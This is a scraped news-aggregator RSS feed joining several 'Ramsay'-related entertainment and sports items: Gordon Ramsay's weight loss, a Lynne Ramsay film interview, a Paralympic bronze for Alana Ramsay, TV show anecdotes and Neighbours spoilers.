]]> https://briefnews.eu/lynne-ramsay-on-defying-cliches-in-you-were-never-really-here-and-her-thoughts-on-joaquin-phoenix-as-the-joker-interview/feed/ 0 Gordon Ramsay weight loss diet: Chef and restaurant owner lost four stone – but how? https://briefnews.eu/gordon-ramsay-weight-loss-diet-chef-and-restaurant-owner-lost-four-stone-but-how/ https://briefnews.eu/gordon-ramsay-weight-loss-diet-chef-and-restaurant-owner-lost-four-stone-but-how/#respond Mon, 02 Jul 2018 11:18:58 +0000 http://briefnews.eu/gordon-ramsay-weight-loss-diet-chef-and-restaurant-owner-lost-four-stone-but-how/

Gordon Ramsay revealed that his weight loss was inspired by his wife.

The British chef, who is well known for his expletive-laden language, was inspired by his wife Tana to shed the pounds.

He told the Daily Mail: “Tana was not impressed with the way I was.

“I was overweight, 18 stone. I looked like a sack of s**t.

“I look at the pictures and think, ‘How did Tana stay around?’ Because Tana has got better-looking and more gorgeous. And there she is, getting in bed with a fat f**k.”

The sweet sentiment revealed the incentive to the chef’s transformation.

But how did the world famous foodie manage it?

The father-of-four to Matilda, Holly, Meghan and Scott, cut out a favourite food of most Britons.

Gordon cut out dairy, meaning no milk or cheese for the chef and author of Fit Food.

What is more, Gordon had a very specific breakfast to help with the diet.

He ate almond milk with Weetabix for breakfast and smoothies with frozen berries and yogurts.

He also drank water before he ate, to stop him for eating more than he really needed.

Now the chef weighs a slim 13 stone and 10 pounds.

Gordon owns a number of award winning restaurants, including Restaurant Gordon Ramsay, Pétrus and Maze.

He has also appeared in Hell’s Kitchen, The F Word, and Ramsay’s Kitchen Nightmares, the American series MasterChef.

Many chefs have weight problems, and its completely understand able as they spend the majority of their time around delicious food.

Tom Kerrige’s weight loss journey has amazed many.

Once weighing in at 30 stone, Tom has dropped 12 stone over the years.

The 6ft 3in chef now looks much slimmer than he used to and weighs just 18 stone.

Jamie Oliver has lost weight as well, dropping two stone.

How has the chef, who is married to Juliette Norton and is a dad to Petal Blossom, Daisy Boo, Buddy Bear, River Rocket and Poppy Honey, lost weight?

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]]> https://briefnews.eu/gordon-ramsay-weight-loss-diet-chef-and-restaurant-owner-lost-four-stone-but-how/feed/ 0 Director Lynne Ramsay Gets Real Sweat and Grime in ‘You Were Never Really Here’ [Interview] https://briefnews.eu/director-lynne-ramsay-gets-real-sweat-and-grime-in-you-were-never-really-here-interview/ https://briefnews.eu/director-lynne-ramsay-gets-real-sweat-and-grime-in-you-were-never-really-here-interview/#respond Sun, 29 Apr 2018 03:25:58 +0000 http://briefnews.eu/director-lynne-ramsay-gets-real-sweat-and-grime-in-you-were-never-really-here-interview/ lynne ramsay interview

You know you’re not going to see an average genre piece from writer-director Lynne Ramsay (We Need to Talk About Kevin). With her new Joaquin Pheonix-led movie, You Were Never Really Here, Ramsay has made an unflinching thriller that follows its own rules instead of conventions. Based on Jonathan Aames‘ (Bored to Death) novel, Ramsay uses a few familiar genre elements to tell a story that’s as much about PTSD as it is about an assassin searching for a kidnapped teen.

A thriller told through Ramsay’s lens has the physical action play off-screen, and what’s going on within Phoenix’s character take center stage in almost every frame. The way Ramsay and her collaborators depict the character’s point-of-view and New York City is unnerving, sometimes hellish. Even a shot of a jelly bean is hard to shake after watching You Were Never Really Here.

We recently spoke with Ramsay about her fourth feature film, her first experience shooting digitally, making her first genre piece, Johnny Greenwood‘s score, and more.


This is your first full-on genre piece, and I know you didn’t want to feel restricted by genre. Where did you find your freedom in the genre?

It was an ongoing process. I’d say from the get-go I’ve never done a straight adaptation. I even worked on the first couple drafts on spec, you know? ‘Cause I was like, where will I take this? But I really love the page-turner qualities the book had. I read it in 90 minutes or something. I love that there was a … It was a lot of freedom. You work with something that short ’cause you can embellish it. Then Joaquin came in and added another embellishment. So, it was really liberating, I’ve gotta say that.

And I love a lot of genre films made by filmmakers that I’ve really loved that are something else in disguise, in a way, you know? I think The Shining‘s super interesting, and I think Sam Fuller’s work’s really interesting, in the guise of a B-movie.

So it was kind of like, can I make this work? I’ve never done anything like it, but it was liberating. You can explore certain elements of things without it just being that one thing, and it’s still within a framework as something, I think, that can be a movie, you know?

It’s a very lean movie, too. 

It became very lean. Even the assembly was not that long. We were always distilling, and that happened with the DP as well. It’s like, how many shots can we tell this in? We have 29 days to shoot it, and we don’t have four days for the scene that’s an action sequence, so what started off with 20 shots would become three. How can we do it in two, or how can we do it in one? That’s an amazing puzzle.

I’d worked with the editor before on We Need to Talk About Kevin, which had set definite timelines. The last film I did was juggling a lot of balls in the air, editing-wise, but that’d also been quite edited within the script; it was very specific in what sounds and images. Because I had so little money to make it, it had to be almost armchair edited on the paper. So, this was an exercise in economy. Someone said it was like a graphic novel that I did. I was like, “Yeah, it kinda is actually.”

How did you and your DP want to depict New York? What sort of atmosphere did you want to create?

Well, the DP knew the script inside-out ’cause we didn’t have a lot of time in prep and stuff, so he’s actually got a script editor credit as well. He really knew what I wanted beforehand. We’ve known each other 25 years, you know? I can just tell him an image, and he just gets it like that.

But in terms of New York, bringing in Tim Grimes as production designer, he did an amazing job and so did the locations manager, Sascha Springer. They found this real other, dirty, kinda another side of New York, you know? The locations manager, she just knew these cool places in Queens and New Jersey. We weren’t looking for the Manhattan skyline.

Partly his look, with Joaquin’s look, nobody knew who the hell he was. He looked like a bum or construction worker, you know? So we were able to have this freedom I think you don’t always have.

Did you enjoy your first experience shooting digitally?

I’ve never shot digital before. First time I’ve shot digital. We did a lot of tests. I love the discipline of shooting film, because you don’t cover everything, and I’m glad that I learned that way. It was a lot of night shoots in this, so it was good. We found a look quite early on, you know, which was quite raw. We talked about the shots way back from the script, and then we reacted very much to New York.

There was one shot in particular that I … We were coming back from Yonkers, and we just set up a camera and filmed the whole of New York for that 60-minute drive or whatever, and used quite a lot of that. It had this feel, a strange feel of its own film, of just driving through the city, you know?

The challenge of this was like, how can we show this, tell it, and be able to do it in the space of time? ‘Cause it felt overwhelming at first. It was always a short script, but I had to cut 20 pages when I got here just to make it within the timeframe, as well as all this crazy prep and seeing a hundred and odd locations. Joaquin was there really early as well, so I don’t think I slept, which maybe is why it’s such a trip.

The film is a very intimate, up close and personal thriller, but Joaquin Phoenix is such a big, hulking character that his presence makes the scope much bigger. 

Yeah, certainly. We were seeing him develop physically, like this beast in front of us. Because he was in the gym the whole time, and his shoulders and the way he walks, and … You know, [the DP] Tom and I thought about his physicality, and also that we were gonna shoot a lot of close-ups but make it feel really epic. That was something that certainly Tom and I talked about – this kinda epic close-up way of doing it.

But it was also having this feeling and grime. I mean, we didn’t know we were gonna shoot it in the brutally hot summer, you know? I thought I was gonna shoot it in the fall. Then suddenly that screws you on a whole other thing. But the sweat and the grime is very real in the film. It was really intense making the film, just in the heat. New York … you can see why everyone escapes it in the summer. Now, it really feels like we couldn’t have shot at any other time. It’s a dirty, raw, noisy film.

I was plugged in this film. Literally, when it hit production, I was staying in a village in Greece, an island in Greece, with no cars that’s totally silent, so coming to New York was just like, what the fuck? I just shut my eyes and thought, “This is what hell seems like.”

Visually and through sound, how did you want to depict the point-of-view of someone with PTSD?

Again, I think we talked about this kind of close-ups. I talked about this with the editor – it should never feel like flashbacks. Really like narrative flashbacks, but much more like pieces of broken glass in his head poking through every now and again, and that I applied to the sound as well.

It’s like that experience I was having of just coming into New York, he’s feeling everything, feeling really heightened. And then I thought about the character a lot. One day during prep, I was setting in my back garage in this little flat I had in Brooklyn. It was pitch black, and I could just hear all these bombs go off. I’m like, “What the fuck is happening?” Then I realized it was the fourth of July. I recorded these sounds that sounded like explosions, ’cause you couldn’t see anything, ’cause it was this little enclosed space. I played it to Joaquin, and I was like, “That’s what goes on in your head every day.” His answer to that was just, “Yeah. I get it.”

So I worked quite early on with sound. It’s in the script. I think about it. I don’t mean that everything’s so technically there. You’re still hoping the script is really a page-turner, but I will refer to how something feels close-up, or intimate, or wider by the way I write it, rather than technically in lens size or something like that.

And then [sound designer] Paul Davies started the sound work really early on when we were picture cutting. It wasn’t put on at the end. It was like, he would do sound from ideas from the first picture cut, and then we’d re-cut it to the sound. Then we’d get the music from Johnny and re-cut it to the music, you know? So it wasn’t like, “Here’s the picture cut and we plunk the sound on at the end, and we plunk the music in the end.” So I was lucky. I always have to kind of fight for that, you know? ‘Cause that’s the way I edit, I always get the sound involved really early and sometimes because it’s a convention that you put it all on at the end, people don’t wanna pay for that. It’s so important when you saw the film evolve the sound was another part of who this character was.

I read you were listening to John Carpenter’s scores and other musicians when you were writing for inspiration. Was there anything else you were listening to?

We weren’t saying that specifically we’ve got these references in mind. We don’t even actually have a lot of references. Music, I started listening to this track that the DP turned me onto called “Peter Pan Death Wish” by a band called Melkeveien, which ended up in the French trailer. I was like, “You’re cheeky, I wanna use that. You just got the idea from me.” It has a really kinda propulsive, whippy, crazy kinda “where the hell’s this going?” thing, and that felt kinda appropriate. I was listening to that more as I came out. This is how this movie’s gonna feel in the end.

Then Aphex Twin’s “Rhubarb” I listened to a bit, just ’cause it’s so beautiful. It felt like the more quiet moments of the film. That’s one of those tracks that’s so great that you never … I think I’ve always tried to use it, but it’s so much its own thing. Putting images to it, it’s like, why would you do that? I’ve never found something that quite fit with that track.

Then [composter] Krzysztof Penderecki came out, and Johnny loves Penderecki. We talked about, again, the Carpenter stuff is more like mixed with Penderecki with … I suppose it was a lot of kinda atonal sounds and things that we were playing with. Then it was a more score direction, like it starts off as one thing, you think you’re going in one way, and then it just kinda implodes on itself, and a bit like the character does, I think.

***

You Were Never Really Here is now in theaters.

The post Director Lynne Ramsay Gets Real Sweat and Grime in ‘You Were Never Really Here’ [Interview] appeared first on /Film.

]]> https://briefnews.eu/director-lynne-ramsay-gets-real-sweat-and-grime-in-you-were-never-really-here-interview/feed/ 0 Canadian roundup: Alana Ramsay scores Paralympic super-G bronze https://briefnews.eu/canadian-roundup-alana-ramsay-scores-paralympic-super-g-bronze/ https://briefnews.eu/canadian-roundup-alana-ramsay-scores-paralympic-super-g-bronze/#respond Sun, 11 Mar 2018 02:28:41 +0000 http://briefnews.eu/canadian-roundup-alana-ramsay-scores-paralympic-super-g-bronze/

Alana Ramsay continued Canada’s para alpine success at the Paralympics on Sunday in Pyeongchang, South Korea with a bronze medal in the women’s standing super-G. 

Calgary’s Ramsay reached the podium in a time of one minute 35.20 seconds behind France’s Marie Bochet and Germany’s Andrea Rothfuss. 

Mollie Jepsen of Whistler, B.C., who earned Canada’s first medal on Day 1 in the downhill event, finished fourth. 

Toronto’s Erin Latimer and Mel Pemble of Victoria B.C., finished ninth and 11th, respectively. Montreal’s Frederique Turgeon did not finish.

Canada’s 2016 female para-athlete of the year, Alana Ramsay, credits a two-week camp at the Alberta Children’s hospital for giving her the strength to compete on the world stage today2:13

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]]> https://briefnews.eu/canadian-roundup-alana-ramsay-scores-paralympic-super-g-bronze/feed/ 0 Gordon Ramsay FORCED to eat bull PENIS on The Late, Late Show with James Corden https://briefnews.eu/gordon-ramsay-forced-to-eat-bull-penis-on-the-late-late-show-with-james-corden/ https://briefnews.eu/gordon-ramsay-forced-to-eat-bull-penis-on-the-late-late-show-with-james-corden/#respond Thu, 01 Mar 2018 06:08:11 +0000 http://briefnews.eu/gordon-ramsay-forced-to-eat-bull-penis-on-the-late-late-show-with-james-corden/

Gordon Ramsay, the star of Hell’s Kitchen, was forced by James Corden to eat a bull’s penis on The Late, Late Show.

The celebrity chef battled it out with host James in a revolting game of ‘truth or eat’, a contest where each person must either answer tough questions or digest a bizarre delicacy.

Food on offer included cow’s tongue, extra hot sauce, salmon ice cream, chicken’s feet and clam juice.

Yet the most disturbing dish of them all was a bull’s testicle which Kitchen Nightmares’ star Gordon was made to eat.

But first James had to chow down the cow’s tongue after he refused to reveal the name of the product he was paid to endorse but does not use.

Immediately after he was seen spitting the meat into a silver bucket, before offering Gordon the salmon ice cream.

The restauranteur avoided the cuisine completely but had to rank three famous chefs in order from worst to best.

Later, Gordon soaked pig’s feet in chicken’s feet juice and asked James to rank his movies Peter Rabbit, Trolls and the Emoji movie from worst to best.

James confessed that his worst film was Emoji, narrowly avoiding yet another stomach-churning snack.

Upping his game, James fired back: “A lot of celebrities visit your restaurants. What celebrity would you want back?”

“He’s American,” Gordon teased, moments before he gave in and had to take a spoonful of bull’s penis, smothered in sauce.

The foul-mouthed cook looked sickened by the food and quickly spat a chunk of meat out.

James offered: ”It’s the hottest sauce we could find.”

“My nose is running…and I think my a*** is bleeding,” Gordon replied.

The game concluded with James eating grasshoppers marinated in clam juice after he failed to say whether the UK is better than the USA.

Last year, the pair played the exact same game and Gordon was left gagging after James forced him to eat a fish eye.

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]]> https://briefnews.eu/gordon-ramsay-forced-to-eat-bull-penis-on-the-late-late-show-with-james-corden/feed/ 0 Gordon Ramsay will insult your sandwiches with Alexa’s help https://briefnews.eu/gordon-ramsay-will-insult-your-sandwiches-with-alexas-help/ https://briefnews.eu/gordon-ramsay-will-insult-your-sandwiches-with-alexas-help/#respond Thu, 08 Feb 2018 04:11:24 +0000 http://briefnews.eu/gordon-ramsay-will-insult-your-sandwiches-with-alexas-help/

If your life won’t be complete until you’ve gotten roasted by Gordon Ramsay like that dude in that Super Bowl ad, then Alexa can help make your dream come true. Ground Control, the same interactive audio company behind “Biden’s Briefing” that uses the former VP’s voice to read news, has released a new Alexa skill that brings the famous chef to your kitchen. Just say “Alexa, ask Gordon Ramsay what he thinks about my [insert food here],” and the skill will “critique” your work.

Obviously, it can’t actually give you a valid critique, but it’s a surefire way to hear one of the chef’s infamous/hilarious putdowns directed at you… especially when you know your “idiot sandwich” deserves it. Want a sample? In the video below, the user asks what Ramsay thinks of his dish, and the chef replied with “How can you do this to food, and [bleeping] sleep at night?” Sounds like a fun skill already.

Source: Ground Control

]]> https://briefnews.eu/gordon-ramsay-will-insult-your-sandwiches-with-alexas-help/feed/ 0 Celebrity Big Brother 2018: Amanda Barrie on SLAPPING Gordon Ramsay ‘He deserved it!’ https://briefnews.eu/celebrity-big-brother-2018-amanda-barrie-on-slapping-gordon-ramsay-he-deserved-it/ https://briefnews.eu/celebrity-big-brother-2018-amanda-barrie-on-slapping-gordon-ramsay-he-deserved-it/#respond Sat, 06 Jan 2018 22:55:33 +0000 http://briefnews.eu/celebrity-big-brother-2018-amanda-barrie-on-slapping-gordon-ramsay-he-deserved-it/

In the first season of Hell’s Kitchen UK, Amanda clashed with Gordon, prompting the actress to try and hit the chef’s face.

Speaking to her fellow contestants in Channel 5’s Big Brother house this evening, Amanda admitted that she is “not proud” of her actions.

Amanda explained: “In Hell’s Kitchen I was removed. I hit Gordon Ramsay. He stopped me just there. But yes, he deserved it.

“Anyway I won’t go into that. But that is public knowledge. I’m not proud of it.

“I wasn’t meant to go into where they were at that moment and then he called me over and got me completely off guard and called me a stupid actress or something.”

The clip from the episode in 2004 sees Gordon asking why Amanda feels she has to show off.

He asks: “Does it make you feel better shouting in front of the blue team? Is it that you have to show off?”

Snapping, Amanda burst into a rage and lashed out towards Gordon’s face, screaming: “How bl**dy f*****g dare you!”

Grabbing hold of her arm just in time to defend his face, Gordon said: “Don’t be stupid! Don’t be so stupid. Don’t be so stupid. Calm down.”

Amanda added: “I’m not showing off. I am tired!”

continues tomorrow on Channel 5 at 9pm.

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]]> https://briefnews.eu/celebrity-big-brother-2018-amanda-barrie-on-slapping-gordon-ramsay-he-deserved-it/feed/ 0 Neighbours spoilers: Stuart Parker will RETURN to Ramsay Street this year https://briefnews.eu/neighbours-spoilers-stuart-parker-will-return-to-ramsay-street-this-year/ https://briefnews.eu/neighbours-spoilers-stuart-parker-will-return-to-ramsay-street-this-year/#respond Fri, 05 Jan 2018 17:05:08 +0000 http://briefnews.eu/neighbours-spoilers-stuart-parker-will-return-to-ramsay-street-this-year/

Blair first appeared on the Australian soap back in 2001 before leaving the show in 2006.

Viewers will most likely remember the character for his friendship with Toadie Rebecchi and Connor O’Neill, who he lived with at Number 30, which was known at the time as “The House of Trouser”.

The mechanic-turned-policeman made an on-screen departure from the soap, when he moved to Oakey with fellow neighbours Angie (Lesley Baker) and Kevin Rebecca (Don Bridges).

In an interview with TV WEEK, Neighbours’ executive producer Jason Herbison revealed that Stuart will be returning to Erinsborough in a future episode, where he will “reconnect with an old friend”.

And while further details about the guest appearance are being kept top secret, Stuart will return to the Melbourne neighbourhood for a celebration involving another Ramsay Street star.

Speaking back in 2012 about the idea of reprising his Ramsay Street role, Blair said: “I did actually float the idea of Stu making a return to the Neighbours producers.

“They were too far down the path with the storyline at that point, though.

“Neighbours was my university! I didn’t go to uni or get the chance to do all those crazy things as a kid, so that’s what Neighbours was for me.”

Blair, 36, most recently starred in Australian soap Home and Away, where fans may recognise him for playing Alan Ellis, the father of the late Beth Ellis.

The Melburnian actor has also appeared on a number of reality TV shows, including the first season of Big Brother Australia – where he lost out to winner Ben Williams.

Neighbours returns to Channel 5 on Monday at 1.45pm and 5.30pm.

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]]> https://briefnews.eu/neighbours-spoilers-stuart-parker-will-return-to-ramsay-street-this-year/feed/ 0 Neighbours spoilers: Could this popular COUPLE be about to return to Ramsay Street? https://briefnews.eu/neighbours-spoilers-could-this-popular-couple-be-about-to-return-to-ramsay-street/ https://briefnews.eu/neighbours-spoilers-could-this-popular-couple-be-about-to-return-to-ramsay-street/#respond Sun, 27 Aug 2017 13:47:10 +0000 http://briefnews.eu/neighbours-spoilers-could-this-popular-couple-be-about-to-return-to-ramsay-street/

Nicky Whelan, who rose to fame as Pepper Steiger in the Australian drama, has now hinted that she could set foot in Ramsay Street once again.

During an exclusive interview with Express.co.uk, the 36-year-old admitted that she “always” talked about going back with her on-screen partner Benjamin Hart, who portrayed Adam Rhodes.

Admitting that she wished she could have spent more in Neighbours, Nicky gave fans plenty of hope for a reappearance from Pepper in the future.

“I stay in contact with Benji Hart, he is one of my dearest friends to this day and we always talk about going back,” the actress commented.

Nicky continued: “It would be so weird to go back and play an Australian character. I don’t know if they want Pepper back…”

The film star, who was promoting her new movie Inconceivable, went on to add: “I mean, you never know… It could happen, for sure!”

Pepper was last seen leaving for Cairns after landing a new job and, as she said her goodbyes, Adam emerged with his suitcases in tow. He later returned very briefly, telling friends he was going to ask her to marry him.

Meanwhile, Nicky also spoke about her big-screen thriller, which sees her play a mysterious live-in nanny called Katie opposite the likes of Nicolas Cage and Eva Marie.

Addressing her topless scene in the film, Nicky added: “Lets be honest, this isn’t the first time I’ve been topless. I did a topless scene in Hall Pass as well. That was more freaky for me.

“It’s fine… there’s so much nudity in TV and movies now, that I don’t take it as seriously as when I was in my 20s. If they still want me to get my top off, I’m very flattered.”

Inconceivable is out on DVD, VOD and Digital tomorrow, August 28.

Neighbours airs weekdays at 1.45pm and 5.30pm on Channel 5.

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